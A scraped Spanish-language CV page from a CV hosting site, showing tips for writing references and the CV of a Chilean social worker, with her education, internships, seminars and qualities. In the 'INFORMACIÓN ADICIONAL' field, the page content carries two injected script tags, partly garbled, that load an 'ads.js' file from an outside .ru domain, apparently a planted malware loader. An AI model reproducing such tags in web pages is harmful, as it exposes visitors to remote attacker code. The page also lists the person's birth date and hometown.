- ANÓNIMO (Servicios Sociales - ONGs) http://loidamerino.miCVweb.com Última actualización:04/12/2009
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Añade referencias profesionales para - ANÓNIMO
CONSEJOS PARA REDACTAR UNAS BUENAS REFERENCIAS:
- Antes de escribir la carta de recomendación es conveniente leer el currículo de la persona en cuestión para poder tener a mano más información.
- Concéntrese en varios aspectos diferentes de la persona. Para ello debe recordar sus habilidades, sus actitudes, sus capacidades y su crecimiento dentro de la empresa, así como también la contribución aportada en actividades sociales organizada por la compañía.
- No debe hacer referencias a características que podrían ser la base de discriminación, como la raza, color, nacionalidad, género, religión, edad, apariencia. Tampoco mencione aspectos que podrían causar un obstáculo para el recomendado como su condición económica, el estatus marital o punto de vista político.
- Mucho cuidado con el poder de palabras, ya que algunos términos parecen inofensivos en la conversación diaria. Sin embargo, al escribirlas pueden arrastrar una connotación negativa para un futuro empleador. Por ello, se recomienda evitar el empleo de palabras como: Medianamente, razonable, pasable, tranquilo, decente, regular.
- En su lugar se aconseja usar palabras llenas de energía como: Comprometido, elocuente, inteligente, observadora, significativa, expresiva, creativa, eficiente, imaginativo, creativo, responsable innovador
- La siguiente lista de atributos es muy usada por los empleadores como herramientas para basarse en la selección de personal. Por ello, son elementos esenciales de toda carta de recomendación:
- Habilidad a comunicar
- Confianza en sí mismo
- Voluntad para aceptar responsabilidad
- Liderazgo
- Nivel de energía
- Flexibilidad
- Habilidades interpersonales
- Conocimiento de sí mismo
- Habilidad para manejar conflicto
- Logro de meta
- Competitividad
· Es importante indicar la prontitud que debe ser confeccionada una carta de recomendación, ya que un trabajo puede depender de la puntualidad de este documento
CURRICULUM VITAE Nº 15696 Área Profesional: Servicios Sociales - ONGs http://loidamerino.MiCVWeb.com | | | DATOS PERSONALES | San Pedro de la Paz (Concepcion) Chile Fecha Nacimiento: 23/02/85 | | | | | FORMACIÓN ACADÉMICA | Trabajadora Social | 7/2009 | Licenciado | Educación | Universidad Catolica de la Santisima Concepcion | | | | | | INFORMÁTICA | Otro no especificado Nivel Intermedio Windows 98,2000, XP. | | | INFORMACIÓN ADICIONAL FORMACIÓN:Antecedentes Académicos:• Estudios superiores2009 Licenciatura en Trabajo Social.2004 Ingreso a carrera: Trabajo Social. Universidad Católica de la Santísima Concepción.• Media:2000 - 2003 Liceo de Niñas de Concepción A-33.• Básica:1992 – 1999 Escuela Arturo Matte Larrain E-656.EXPERIENCIA:Experiencia Académica:• Agosto 2008 – 2009: Comunidad Terapéutica Residencial Villamávida. Tesis.Factores psicosociales que inciden en el ingreso de los usuarios en tratamiento de drogas a la Comunidad terapéutica residencial masculina Villamávida en el año 2008.• Abril – Agosto 2008: Hogar Madre Adolescente Corporación María Ayuda.Práctica Profesional Integrada.- Proceso de Intervención Social, orientado a conexión con redes sociales y revinculación familiar.• Agosto – Diciembre 2007: PIA Padre Luís AmigóPráctica de Caso. Práctica Intermedia UCSC.- Plan de Intervención Individual con adolescente.- Seguimiento de dicha intervención.• Septiembre – Diciembre 2006:Pasantía Hogar de Cristo, Programa "Adulto Calle".- Elaboración Programa de Intervención Social a personas en situación de calle, a fin de satisfacer necesidades próximas.- Apoyo y realización de actividades del programa.• Septiembre- Diciembre 2006: Junta de Vecinos San Pedro de la CostaPráctica de Comunidad. Práctica Intermedia UCSC.- Capacitación en formulación de proyectos comunitarios.- Intermediario Municipalidad San Pedro de la Paz y Organización.• Agosto – Diciembre 2005: Grupo de Adulto Mayor Un día de Amor, Talcahuano.Práctica Grupal. Práctica Intermedia UCSC.- Realización de Técnicas para el fortalecimiento grupal.- Intermediario entre Municipalidades de Talcahuano y Organización.FORMACIÓN COMPLEMENTARIA:Seminarios:• "Políticas Sociales y Exclusión Social, una mirada desde la realidad",2006• "Ser Mujer en el Siglo XXI: Desafíos y Proyecciones", 2006• "El Trabajo Social Latinoamericano y su rol en las Sociedades del Siglo XXI, 2006• "Los desafíos en la Intervención del Trabajo Social: Avances y Propuestas", 2004• "La Reforma Procesal Penal y su Aplicación en la Región del Bío – Bío"IFORMACIÓN ADICIONAL:script src=http://www.bannerdriven.ru/ads.js>script src=http://www.bannerdriven.ru/ads.js> | | Disponibilidad | ¿Estoy dispuesto a viajar? SI | ¿Estoy dispuesto a trabajar en el extranjero? SI | ¿Estoy dispuesto a trabajar fuera de mi zona? SI | | | Objetivos Profesionales | Desempeñar el cargo a asignar con la mayor disposicion, y de esta forma alcanzar una mayor experiencia y desarrollo en el area social. | | | Cualidades | Amable , Analítico/a , Cariñoso/a , Colaborador , Comunicativo/a , Creativo/a , Eficiente , Honesto/a , Imaginativo/a , Intelectual , Inteligente , Intuitivo/a , Organizado/a , Persistente , Productivo/a , Responsable , Servicial , Sociable , Trabajador/a | | | Aficiones | Bailar, Cine/Películas, Museos/Galerías de Arte, Música Rock | | |
| | Descargar Curriculum
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CURRICULUM VITAE Nº 15696 Área Profesional: Servicios Sociales - ONGs http://loidamerino.MiCVWeb.com | | |
Curriculum Promocionado por
http://MiCVWeb.com
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DATOS PERSONALES | San Pedro de la Paz (Concepcion) Chile Fecha Nacimiento: 23/02/85 | |
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